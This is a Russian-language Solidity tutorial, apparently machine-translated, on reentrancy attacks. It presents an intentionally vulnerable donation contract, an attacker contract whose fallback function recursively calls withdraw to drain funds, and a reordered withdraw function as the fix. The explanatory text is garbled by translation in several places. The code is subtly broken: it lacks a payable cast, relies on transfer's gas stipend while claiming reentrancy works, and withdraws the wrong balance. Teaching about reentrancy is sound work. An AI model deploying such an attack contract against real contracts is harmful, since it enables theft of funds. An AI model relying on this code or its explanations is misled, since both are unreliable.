Злоумышленник пользуется разблокированным состоянием контракта во время исполнения и неоднократно выводит средства или ресурсы, рекурсивно вызывая функции в контракте.
Мы будем использовать Solidity, язык смарт-контрактов Ethereum, чтобы создать простой контракт на пожертвование, а затем продемонстрировать потенциальную повторную атаку на контракт. Сначала мы создаем контракт, который принимает пожертвования, имеет баланс и позволяет пользователям выводить деньги. Код этого контракта может выглядеть так
pragma solidity ^0.8.0;
contract VulnerableDonation {
mapping (address => uint) public balances;
address payable public owner;
constructor() {
owner = payable(msg.sender);
}
function donate() public payable {
// получать пожертвования
balances[msg.sender] += msg.value;
}
function withdraw(uint _amount) public {
require(balances[msg.sender] >= _amount, "Insufficient balance");
// Баланс следует сначала уменьшить, а затем перенести, но порядок обратный.
msg.sender.transfer(_amount);
balances[msg.sender] -= _amount;
}
}
Обратите внимание, проблема здесь в том, что в функции вывода мы сначала пытаемся перевести деньги пользователю и только потом уменьшаем его баланс. Это небезопасно, поскольку операция перевода активирует функцию приема или возврата получателя, что дает злоумышленнику возможность вызвать функцию вывода для повторного вывода денег.
Теперь давайте создадим контракт злоумышленника, который сможет использовать эту уязвимость:
pragma solidity ^0.8.0;
contract Attacker {
VulnerableDonation donationContract;
constructor(address _donationAddress) {
donationContract = VulnerableDonation(_donationAddress);
}
fallback() external payable {
if (address(this).balance > 0) {
// рекурсиязвонок withdraw Функция, продолжать выводить деньги, пока есть баланс
donationContract.withdraw(address(this).balance);
}
}
function attack() public payable {
// первый звонок donate Функция Внесение средств в договор дарения
donationContract.donate{value: msg.value}();
// и сразу позвони withdraw Функция Начать реентерабельную атаку
donationContract.withdraw(address(this).balance);
}
}
В контракте злоумышленника автоматически срабатывает резервная функция при поступлении средств. Если в контракте еще есть баланс, он будет рекурсивно вызывать функцию вывода контракта пожертвования, пытаясь вывести как можно больше, пока средств не останется. осталось перенести пока. Чтобы обеспечить безопасность контракта, правильным подходом является уменьшение баланса пользователя перед переводом, чего можно добиться, просто изменив порядок функции вывода:
function withdraw(uint _amount) public {
require(balances[msg.sender] >= _amount, "Insufficient balance");
balances[msg.sender] -= _amount;
// Передачу следует выполнять после обновления переменных состояния.
msg.sender.transfer(_amount);
}
Таким образом, даже если злоумышленник попытается позвонить еще раз, прежде чем перевести деньги.
withdraw
функция, они также обнаружат, что их баланс был обновлен, и они не смогут снова снять деньги.